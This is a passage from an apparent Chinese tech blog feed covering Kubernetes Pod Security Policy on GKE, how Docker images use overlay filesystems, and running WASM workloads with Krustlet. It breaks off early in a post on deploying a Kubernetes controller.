&lt;p&gt;这次的 Pod 不是由我们授权的 &lt;code&gt;common&lt;/code&gt; 用户创建的，而是由 RS Controller 启动的，因此会失败，加入一个 Service Account：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
    spec:
      serviceAccount: common
      containers:
...
    spec:
      serviceAccount: common
      containers:
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交变更，会发现非特权 Pod 开始创建：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods
NAME                            READY   STATUS    RESTARTS   AGE
noprivileged-6cf595c5bd-rc8cx   1/1     Running   0          4s
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;系统-pod-怎么办&#34;&gt;系统 Pod 怎么办&lt;/h2&gt;

&lt;p&gt;这时候我想到个问题，其它 Pod 会不会受到影响？我删除了 &lt;code&gt;kube-system&lt;/code&gt; 下面的一个 &lt;code&gt;kube-proxy&lt;/code&gt; 的 Pod，发现这个 Pod 自动重建了，没有受到 PSP 的影响，查看一下 RBAC 相关配置，会发现 GCP 在更新集群的过程中已经为系统服务进行了预设：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get rolebinding
...
gce:podsecuritypolicy:kube-proxy                    80m
gce:podsecuritypolicy:metadata-agent                80m
gce:podsecuritypolicy:metadata-proxy                80m
gce:podsecuritypolicy:nodes                         80m
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;追查下去：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get rolebinding gce:podsecuritypolicy:metadata-proxy -o yaml
...
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: gce:podsecuritypolicy:privileged
subjects:
- kind: ServiceAccount
  name: metadata-proxy
  namespace: kube-system
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果追查其中涉及到的 ClusterRole，会发现它指向一个 PSP：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get clusterrole gce:podsecuritypolicy:privileged -o yaml
...
rules:
- apiGroups:
  - policy
  resourceNames:
  - gce.privileged
  resources:
  - podsecuritypolicies
  verbs:
  - use
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看看这个 PSP 的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get psp  gce.privileged -o yaml
...
    privileged: true
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;的确包含了特权 Pod 的内容。&lt;/p&gt;

&lt;p&gt;最后看看负责创建这个特权 Pod 的 Daemonset：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$  kubectl get daemonset  metadata-proxy-v0.1 -o yaml
...
      serviceAccount: metadata-proxy
      serviceAccountName: metadata-proxy
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;psp-的限制能力&#34;&gt;PSP 的限制能力&lt;/h2&gt;

&lt;p&gt;分为以下几个大方面：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;特权容器&lt;/li&gt;
&lt;li&gt;主机命名空间：例如 HostPID、HostNetwork 等。&lt;/li&gt;
&lt;li&gt;卷和文件系统：例如 PVC、configMap、emptyDir 等卷类型，以及 fsGroup、AllowedHostPaths 等加载能力。&lt;/li&gt;
&lt;li&gt;用户和组：运行身份&lt;/li&gt;
&lt;li&gt;提权：是否允许&lt;/li&gt;
&lt;li&gt;Capability 和 sysctl&lt;/li&gt;
&lt;li&gt;SeLinux、AppArmor 等。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;马后炮&#34;&gt;马后炮&lt;/h2&gt;

&lt;p&gt;kubectl 的 &lt;code&gt;advise-psp&lt;/code&gt; 插件，能够根据当前运行的 Pod，提取出所需的 PSP 信息。&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://kubernetes.io/docs/concepts/policy/pod-security-policy/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>镜像是怎样炼成的</title>
      <link>/post/how-are-docker-images-built/</link>
      <pubDate>Fri, 24 Apr 2020 08:45:50 +0800</pubDate>
      <guid>/post/how-are-docker-images-built/</guid>
      <description>

&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/napicellatwit&#34; target=&#34;_blank&#34;&gt;Nicola Apicella&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;原文：&lt;a href=&#34;https://dev.to/napicella/how-are-docker-images-built-a-look-into-the-linux-overlay-file-systems-and-the-oci-specification-175n&#34; target=&#34;_blank&#34;&gt;How are docker images built? A look into the Linux overlay file-systems and the OCI specification&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;要使用 Docker，就不可避免地要和 Docker 镜像打交道。本文将会讲述 Docker 镜像的基石： Overlay 文件系统。首先我会简单介绍一下这个文件系统，接下来会看看如何把这个技术用在 Docker 镜像上，以及 Docker 是怎样从 Dockerfile 构建出 Docker 镜像的。最后还会介绍分层缓存以及 OCI 格式的容器镜像。&lt;/p&gt;

&lt;p&gt;遵循我的一贯风格，我会尽可能的让本文具备更好的操作性。&lt;/p&gt;

&lt;h2 id=&#34;overlay-文件系统是什么&#34;&gt;Overlay 文件系统是什么&lt;/h2&gt;

&lt;p&gt;Overlay 文件系统（也被称为联合文件系统），能够使用两个或更多的目录创建一个联合：它由低层和高层的目录组成。文件系统中低层的目录是只读的，而高层的文件系统则是可读可写的。我们可以试试加载一个，看看操作效果。&lt;/p&gt;

&lt;h3 id=&#34;创建-overlay-文件系统&#34;&gt;创建 Overlay 文件系统&lt;/h3&gt;

&lt;p&gt;我们可以创建几个目录然后把它们联合起来。首先会创建一个叫做 “mount” 的目录，我们将它作为这个联合的父目录。接下来会创建 “layer-1”、“layer-2”、“layer-3”、“layer-4” 着几个目录。最后还要创建一个叫做 “workdir” 的目录， Overlay 文件系统必须有这个目录才能正常工作。&lt;/p&gt;

&lt;p&gt;这些目录可以随意命名，不过 “layer-1”、“layer-2” 这样的命名方式，和 Docker 镜像对比起来会比较容易理解。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-comand&#34;&gt;
$ cd /tmp &amp;amp;&amp;amp; mkdir overlay-example &amp;amp;&amp;amp; cd overlay-example

[2020-04-19 16:02:35] [ubuntu] [/tmp/overlay-example]  
&amp;gt; mkdir mount layer-1 layer-2 layer-3 layer-4 workdir

[2020-04-19 16:02:38] [ubuntu] [/tmp/overlay-example]  
$ ls
layer-1  layer-2  layer-3  layer-4 mount  workdir
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后要在除 &amp;ldquo;layer-4&amp;rdquo; 之外的每个目录下创建文件，这个步骤也不是必要的，只是为了更像镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;[2020-04-19 16:02:40] [ubuntu] [/tmp/overlay-example]  
$ echo &amp;quot;Layer-1 file&amp;quot; &amp;gt; ./layer-1/some-file-in-layer-1

[2020-04-19 16:03:36] [ubuntu] [/tmp/overlay-example]  
$ echo &amp;quot;Layer-2 file&amp;quot; &amp;gt; ./layer-2/some-file-in-layer-2

[2020-04-19 16:03:53] [ubuntu] [/tmp/overlay-example]  
$ echo &amp;quot;Layer-3 file&amp;quot; &amp;gt; ./layer-3/some-file-in-layer-3
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们来挂载这个文件系统：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;sudo mount -t overlay overlay-example \
-o lowerdir=/tmp/overlay-example/layer-1:/tmp/overlay-example/layer-2:/tmp/overlay-example/layer-3,upperdir=/tmp/overlay-example/layer-4,workdir=/tmp/overlay-example/workdir \
/tmp/overlay-example/mount
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看看挂载目录的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;[2020-04-19 16:13:28] [ubuntu] [/tmp/overlay-example]  
&amp;gt; cd mount/

[2020-04-19 16:13:31] [ubuntu] [/tmp/overlay-example/mount]  
&amp;gt; ls -la
total 20
drwxr-xr-x 1 napicell domain^users 4096 Apr 19 16:07 .
drwxr-xr-x 8 napicell domain^users 4096 Apr 19 16:07 ..
-rw-r--r-- 1 napicell domain^users   13 Apr 19 16:03 some-file-in-layer-1
-rw-r--r-- 1 napicell domain^users   13 Apr 19 16:03 some-file-in-layer-2
-rw-r--r-- 1 napicell domain^users   13 Apr 19 16:03 some-file-in-layer-3
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;不出所料，前三层的文件都被加载到了挂载根目录。可以看到我们之前写入文件的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ cat some-file-in-layer-3
Layer-3 file
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;试试创建文件&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ echo &amp;quot;new content&amp;quot; &amp;gt; new-file

$ ls
new-file  some-file-in-layer-1  some-file-in-layer-2  some-file-in-layer-3
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;新文件在哪里呢？自然是在上层，我们的例子里就是 &amp;ldquo;layer-4&amp;rdquo;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt; [2020-04-19 16:23:49] [ubuntu] [/tmp/overlay-example]  
 pactvm &amp;gt; tree
.
├── layer-1
│   └── some-file-in-layer-1
├── layer-2
│   └── some-file-in-layer-2
├── layer-3
│   └── some-file-in-layer-3
├── layer-4
│   └── new-file
├── mount
│   ├── new-file
│   ├── some-file-in-layer-1
│   ├── some-file-in-layer-2
│   └── some-file-in-layer-3
└── workdir
    └── work [error opening dir]

7 directories, 8 files
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;试试看删除文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;[2020-04-19 16:27:33] [ubuntu] [/tmp/overlay-example/mount]  
&amp;gt; rm some-file-in-layer-2

[2020-04-19 16:28:58] [ubuntu] [/tmp/overlay-example/mount]  
&amp;gt; ls
new-file  some-file-in-layer-1  some-file-in-layer-3
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;你猜猜，原始文件系统中的 &amp;ldquo;layer-2&amp;rdquo; 目录会怎么样：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt; [2020-04-19 16:29:57] [ubuntu] [/tmp/overlay-example]  
 pactvm &amp;gt; tree
.
├── layer-1
│   └── some-file-in-layer-1
├── layer-2
│   └── some-file-in-layer-2
├── layer-3
│   └── some-file-in-layer-3
├── layer-4
│   ├── new-file
│   └── some-file-in-layer-2
├── mount
│   ├── new-file
│   ├── some-file-in-layer-1
│   └── some-file-in-layer-3
└── workdir
    └── work [error opening dir]

7 directories, 8 files
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&amp;ldquo;layer-4&amp;rdquo; 中出现了个新文件 &amp;ldquo;some-file-in-layer-2&amp;rdquo;。奇怪的是这个文件的属性（”Character file“），这种文件在 Overlay 文件系统中被称为 ”Whitout“，用于表达被删除的文件。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt; [2020-04-19 16:31:09] [ubuntu] [/tmp/overlay-example/layer-4]  
 pactvm &amp;gt; ls -la
total 12
drwxr-xr-x 2 napicell domain^users 4096 Apr 19 16:28 .
drwxr-xr-x 8 napicell domain^users 4096 Apr 19 16:07 ..
-rw-r--r-- 1 napicell domain^users   12 Apr 19 16:23 new-file
c--------- 1 root     root         0, 0 Apr 19 16:28 some-file-in-layer-2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;完成之后，卸载这个文件系统，然后删除目录：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;[2020-04-19 16:37:11] [ubuntu] [/tmp/overlay-example]  
$ sudo umount /tmp/overlay-example/mount &amp;amp;&amp;amp; rm -rf *
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;理顺概念&#34;&gt;理顺概念&lt;/h3&gt;

&lt;p&gt;正如开篇所说， Overlay 文件系统上可以把多个目录联合在一起。在前边的例子里，这个联合过程由 “layer-{1,2,3,4}” 在  “mount” 目录里组成。对文件的修改、创建和删除都在上层发生——也就是这里的 “layer-4”，因此这一层也被称为差异层。上层的文件会对下层文件造成遮盖。假设 “layer-2” 和 “layer-1” 中，在相同的相对目录下有同名的文件，那么在 “mount” 目录中就会以 “layer-2” 为准。下一节将会看看这一技术在 Docker 镜像中的应用。&lt;/p&gt;

&lt;h2 id=&#34;什么是-docker-镜像&#34;&gt;什么是 Docker 镜像&lt;/h2&gt;

&lt;p&gt;简单总结，Docker 镜像就是一个 Tar 文件，其中包含一个根文件系统和一些愿数据。你可能听说过，Dockerfile 中的每一行都会生成一个层。例如下面的代码就会生成一个三层的镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-Dockerfile&#34;&gt;FROM scratch
ADD my-files /doc
ADD hello /
CMD [&amp;quot;/hello&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;“docker run” 的过程很复杂，但是本文中只会关注和镜像有关的一点点内容。概括的说，Docker 会下载这个文件包，把每个层解压到单独的目录中，然后用 Overlay 文件系统将这些目录以及用于进行写入的一个上层空目录联合起来。当你在容器中进行修改、创建或者删除操作时，这些变更都会保存到这个空目录中。容器退出时，Docker 会清理这个目录——这就是在容器中的变更无法保持的原因。&lt;/p&gt;

&lt;h3 id=&#34;层缓存&#34;&gt;层缓存&lt;/h3&gt;

&lt;p&gt;要运行容器，就要构建镜像，Docker 将这两个步骤分离开来独立运作，是它得以流行的重要原因。OCI 就是业界公认的规范。&lt;/p&gt;

&lt;p&gt;OCI 当前包括两个规范：运行规范和镜像规范。运行规范描述了如何运行一个解压到磁盘上的 “复合文件系统” 。简单说来，OCI 实现会把 OCI 镜像下载回来，然后解压到一个 OCI 运行时复合文件系统之中。这一操作完成后就可以让 OCI 运行时运行了。&lt;/p&gt;

&lt;p&gt;标准化的意义就是让其他人可以自己开发容器的构建工具和运行时。例如 &lt;code&gt;jess/img&lt;/code&gt;、&lt;code&gt;Buildah&lt;/code&gt; 以及 &lt;code&gt;Skopeo&lt;/code&gt; 都是可以脱离 Docker 构建镜像的工具。类似地还有很多容器运行时，例如 runc（Docker 使用） 和 rkt。&lt;/p&gt;

&lt;h2 id=&#34;其他的-overlay-文件系统&#34;&gt;其他的 Overlay 文件系统&lt;/h2&gt;

&lt;p&gt;Docker 能够使用的联合文件系统不止这一种。任何有差异层和联合特性的文件系统都是可能的候选者。例如 Docker 还能运行在 aufs、btrfs、zfs 和 devicemapper 系统上。&lt;/p&gt;

&lt;h2 id=&#34;构建镜像时发生了什么&#34;&gt;构建镜像时发生了什么&lt;/h2&gt;

&lt;p&gt;假设我们要使用下面的 Dockerfile 来构建镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-Dockerfile&#34;&gt;FROM ubuntu
RUN apt-get update
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;简单描述一下这个过程：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Docker 下载 FROM 语句中指定的 tar 文件，这是目标镜像的第一层。&lt;/li&gt;
&lt;li&gt;加载一个联合文件系统，其底层就是刚下载的部分，在上面创建一个空目录。&lt;/li&gt;
&lt;li&gt;在 chroot 中启动一个 bash，运行 RUN 语句中的命令：&lt;code&gt;RUN: chroot . /bin/bash -c &amp;quot;apt get update&amp;quot;&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;命令结束后，会把上层目录压缩，形成新镜像中的新的一层。&lt;/li&gt;
&lt;li&gt;如果 Dockerfile 中包含其它命令，就以之前构建的层次为基础，从第二步开始重复创建新层，直到完成所有语句后退出。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;上述过程是个极度简化的过程，其中缺乏一些常见指令，例如 &lt;code&gt;ENTRYPOINT&lt;/code&gt;、&lt;code&gt;ENV&lt;/code&gt; 等。这些内容会被写入元数据，和文件层封装在一起。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;这种将根文件系统和每个差异层都进行打包的思路非常强大。它不仅是 Docker 的基础，我想还能用在其它一些领域里，以后可能会诞生更多这类工具。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在 Kubernetes 上用 Krustlet 调度 WASM</title>
      <link>/post/wasm-node-on-k8s/</link>
      <pubDate>Tue, 14 Apr 2020 12:42:59 +0800</pubDate>
      <guid>/post/wasm-node-on-k8s/</guid>
      <description>

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;坊间有两个传言：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Kubernetes 正在成长为一个统一调度器&lt;/li&gt;
&lt;li&gt;WASM 如果早点成气候，就没 Docker 什么事了&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/deislabs/krustlet&#34; target=&#34;_blank&#34;&gt;Krustlet&lt;/a&gt; 往前踏了一小步：他的官方描述是“Kubernetes Kubelet in Rust for running WASM”——使用 Rust 实现的 Kubelet，可以在 Kubernetes 中运行 WASM。&lt;/p&gt;

&lt;p&gt;Krustlet 是 Deis 实验室的产品，算是 Helm 的同门师兄弟。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;项目还非常初期，包括镜像拉取、Pod 生命周期等功能都没能完整实现，只能作为一个概念方面的尝试。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;部署&#34;&gt;部署&lt;/h2&gt;

&lt;p&gt;官方提供了 EKS、AKS 以及 Kind 的部署方案，这里我们使用 Kind 进行部署。使用如下配置文件定义一个三节点集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
- role: worker
- role: worker
- role: worker
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kind create cluster --config=config-3-node.yaml
Creating cluster &amp;quot;kind&amp;quot; ...
 ✓ Ensuring node image (kindest/node:v1.17.0) 🖼
 ✓ Preparing nodes 📦 📦 📦 📦
 ✓ Writing configuration 📜
 ✓ Starting control-plane 🕹️
 ✓ Installing CNI 🔌
 ✓ Installing StorageClass 💾
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;集群启动之后，就可以安装 Krustlet 了。&lt;/p&gt;

&lt;p&gt;踩坑过程中，注意到 Krustlet 的几个依赖项目：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Openssl 1.1.x 支持，所以有些老系统可能需要升级；&lt;/li&gt;
&lt;li&gt;接入 Krustlet 时，需要满足接入新节点的 Kubernetes 权限要求；&lt;/li&gt;
&lt;li&gt;Krustlet 和 Kubelet 一样，也要使用 kubeconfig 文件进行认证。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在 &lt;a href=&#34;https://github.com/deislabs/krustlet/releases/&#34; target=&#34;_blank&#34;&gt;Release 页面&lt;/a&gt;可能找到压缩包下载，目前支持 Linux 和 MacOS 两个平台。&lt;/p&gt;

&lt;p&gt;解压之后，创建 &lt;code&gt;~/.krustlet/lib&lt;/code&gt; 目录，将压缩包中的 &lt;code&gt;*.so&lt;/code&gt; 和 &lt;code&gt;*.dylib&lt;/code&gt; 复制到 &lt;code&gt;~/.krustlet/lib&lt;/code&gt; 之中，可执行文件复制到 &lt;code&gt;/usr/local/bin&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;接下来为 krustlet 准备用于加入 Kubernetes 的证书：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
mkdir -p ~/.krustlet/config
cd ~/.krustlet/config
openssl req -new -sha256 -newkey rsa:2048 -keyout krustlet.key -out krustlet.csr -days 365 -nodes -subj &amp;quot;/C=US/ST=./L=./O=./OU=./CN=krustlet&amp;quot;
cat &amp;lt;&amp;lt;EOF | kubectl apply -f -
apiVersion: certificates.k8s.io/v1beta1
kind: CertificateSigningRequest
metadata:
  name: krustlet
spec:
  request: $(cat krustlet.csr | base64 | tr -d &#39;\n&#39;)
  usages:
  - digital signature
  - key encipherment
  - server auth
EOF
kubectl certificate approve krustlet
kubectl get csr krustlet -o jsonpath=&#39;{.status.certificate}&#39; | base64 --decode &amp;gt; krustlet.crt
openssl pkcs12 -export -out certificate.pfx -inkey krustlet.key -in krustlet.crt -password &amp;quot;pass:password&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;启动&#34;&gt;启动&lt;/h2&gt;

&lt;p&gt;启动过程很简单：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ krustlet-wasi  --pfx-password password --node-ip 10.89.81.61
[2020-04-14T06:16:34Z ERROR kubelet::kubelet] Error handling event: error decoding response body: missing field `access_token` at line 1 column 501
[2020-04-14T06:18:04Z ERROR kubelet::kubelet] Error handling event: error decoding response body: missing field `detail` at line 1 column 119
[2020-04-14T06:28:37Z ERROR kubelet::kubelet] Error handling event: error decoding response body: missing field `detail` at line 1 column 119
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;其中的 &lt;code&gt;--node-ip&lt;/code&gt; 参数是可选的，在 Docker for OS X 中，需要用 &lt;code&gt;ifconfig en0&lt;/code&gt; 确定一下适配器 IP，如果是在物理机/虚拟机环境中，这个参数可以省略或者根据实际情况做出调整。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;是的你没看错，启动就出了点小问题。接下来看看节点情况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get nodes
NAME                 STATUS   ROLES    AGE    VERSION
kind-control-plane   Ready    master   136m   v1.17.0
kind-worker          Ready    &amp;lt;none&amp;gt;   136m   v1.17.0
kind-worker2         Ready    &amp;lt;none&amp;gt;   136m   v1.17.0
kind-worker3         Ready    &amp;lt;none&amp;gt;   136m   v1.17.0
abcd-mb0       Ready    agent    111m   v1.17.0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看看节点的情况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl describe nodes abcd-mb0
...
Taints:             krustlet/arch=wasm32-wasi:NoExecute
...
System Info:
  Machine ID:
  System UUID:
  Boot ID:
  Kernel Version:
  OS Image:
  Operating System:           linux
  Architecture:               wasm-wasi
  Container Runtime Version:  mvp
  Kubelet Version:            v1.17.0
  Kube-Proxy Version:         v1.17.0
...
  Operating System:           linux
  Architecture:               wasm-wasi
  Container Runtime Version:  mvp
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到有很多信息是缺失的，说明项目的确很早期。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Taints&lt;/code&gt; 字段的定义，要求特定 Pod 才能调度到该节点上。&lt;/p&gt;

&lt;p&gt;最后其架构显示的是 wasm-wasi。&lt;/p&gt;

&lt;h2 id=&#34;运行一个-pod&#34;&gt;运行一个 Pod&lt;/h2&gt;

&lt;p&gt;编写一个 YAML 文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: krustlet-tutorial
spec:
  containers:
    - name: krustlet-tutorial
      image: webassembly.azurecr.io/hello-world-wasi-rust:v0.1.0
      imagePullPolicy: Always
  tolerations:
    - key: &amp;quot;node.kubernetes.io/network-unavailable&amp;quot;
      operator: &amp;quot;Exists&amp;quot;
      effect: &amp;quot;NoSchedule&amp;quot;
    - key: &amp;quot;krustlet/arch&amp;quot;
      operator: &amp;quot;Equal&amp;quot;
      value: &amp;quot;wasm32-wasi&amp;quot;
      effect: &amp;quot;NoExecute&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;镜像名好像很普通，Pull 一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ docker pull webassembly.azurecr.io/hello-world-wasi-rust:v0.1.0
v0.1.0: Pulling from hello-world-wasi-rust
670adc713612: Pulling fs layer
invalid rootfs in image configuration
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看来这个镜像并不普通。。后面会讲一下。&lt;/p&gt;

&lt;p&gt;Pod 定义中声明了 &lt;code&gt;tolerations&lt;/code&gt;，让该 Pod 可以在新节点上运行。提交 yaml 之后，可以看到 Pod 运行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get pods -w
NAME                READY   STATUS    RESTARTS   AGE
krustlet-tutorial   0/1     Pending   0          6s
krustlet-tutorial   0/1     Running   0          8s
krustlet-tutorial   1/1     Running   0       8s
krustlet-tutorial   0/1     ExitCode:0   0          8s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看到这个 Pod 飞快的完成了运行并成功退出，查看他的日志：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;hello from stdout!
hello from stderr!
Args are: []
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;镜像&#34;&gt;镜像&lt;/h2&gt;

&lt;p&gt;前面使用 &lt;code&gt;docker pull&lt;/code&gt; 未能成功下载，这是因为这个镜像其实是一个封装为 OCI 的 WASM，可以使用 &lt;a href=&#34;https://github.com/engineerd/wasm-to-oci&#34; target=&#34;_blank&#34;&gt;was-to-oci&lt;/a&gt; 工具下载，并使用 &lt;a href=&#34;https://github.com/bytecodealliance/wasmtime&#34; target=&#34;_blank&#34;&gt;wasmtime&lt;/a&gt; 尝试运行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ wasm-to-oci pull registry.microservice.rocks/module-wasm:v1
INFO[0007] Pulled: registry.microservice.rocks/module-wasm:v1
INFO[0007] Size: 1964621
INFO[0007] Digest: sha256:670adc7136128af3a2848d86c18013b1009e7dedb8a686ecacda175094aa083c
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;完成后可以看到当前目录出现了一个 &lt;code&gt;module.wasm&lt;/code&gt; 文件，运行一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ wasmtime module.wasm
hello from stdout!
hello from stderr!
Args are: [&amp;quot;module.wasm&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;反过来，也可以使用这个工具把 WASM 文件推送到镜像库中。例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$  wasm-to-oci push module.wasm registry.microservice.rocks/module-wasm:v1
INFO[0001] Pushed: registry.microservice.rocks/module-wasm:v1
INFO[0001] Size: 1964621
INFO[0001] Digest: sha256:54b09224f004231ffb37d14ac478a101d94c58aac93b8da7b67ed84147763d09
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;玩后感&#34;&gt;玩后感&lt;/h2&gt;

&lt;p&gt;目前 Krustlet 对 Docker Registry 的支持似乎是有问题的，因此无法运行我们自己用 &lt;code&gt;wasm-to-oci&lt;/code&gt; 推送到私库的 WASM。网络通信等内容也就无法测试了。好在目前版本只是 0.1.0，还有很多值得一等。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>自己的 Kubernetes 控制器（3）——改进和部署</title>
      <link>/post/your-own-k8s-controller-3/</link>
      <pubDate>Mon, 13 Apr 2020 16:21:32 +0800</pubDate>
      <guid>/post/your-own-k8s-controller-3/</guid>
      <description>

&lt;p&gt;我们在前面讲述了 Kubernetes 控制器的概念。简单说来控制器就是个控制回路，用来将当前状态协调到目标状态。第二篇使用 Java 实现了一个控制器。这一篇会讲讲如何部署控制器，以及如何对控制器进行改进。&lt;/p&gt;

&lt;h2 id=&#34;集群内外&#34;&gt;集群内外&lt;/h2&gt;

&lt;p&gt;在第一篇中提到过，控制器在集群内外都能运行，只要能够完成必要的通信过程就可以。缺省情况下，官方 Kubernetes 客户端和 Fabric8 客户端都会尝试使用 &lt;code&gt;~/.kube/config&lt;/code&gt; 配置中存储的凭据。也就是说只要使用 &lt;code&gt;kubectl&lt;/code&gt; 命令能访问集群，就能运行这个控制器。&lt;/p&gt;

&lt;p&gt;交付物可以是以下几种形式：独立的 JAR，应用服务器中部署的 WebApp，甚至是一个包含很多 Class 文件的目录。这种方法的缺点是，应该把所有与所选择的方法相关的常规任务都照顾到。&lt;/p&gt;

&lt;p&gt;另一方面，用容器化应用的方式在 Kubernetes 集群中运行会有很多好处：自动化、监控、伸缩、自愈等。如此看来，没有不容器化的道理。因此我们要给我们的控制器进行容器化。&lt;/p&gt;

&lt;h2 id=&#34;控制器的容器化&#34;&gt;控制器的容器化&lt;/h2&gt;

&lt;p&gt;给 Java 应用进行容器化的最直接方式就是使用 &lt;a href=&#34;https://github.com/GoogleContainerTools/jib&#34; target=&#34;_blank&#34;&gt;Jib 插件&lt;/a&gt;。这个插件在 Maven 和 Gradle 中可用，兼容于普通应用、Spring Boot 和 Micronaut 应用；它生成的镜像会分为不同的层次：最上层是业务类，下面则是依赖库。这种构建方式加快了更新镜像的构建速度：当业务更新时，只需要更换最上面的层就可以了。&lt;/p&gt;

&lt;p&gt;Jib 配置样例：&lt;/p&gt;

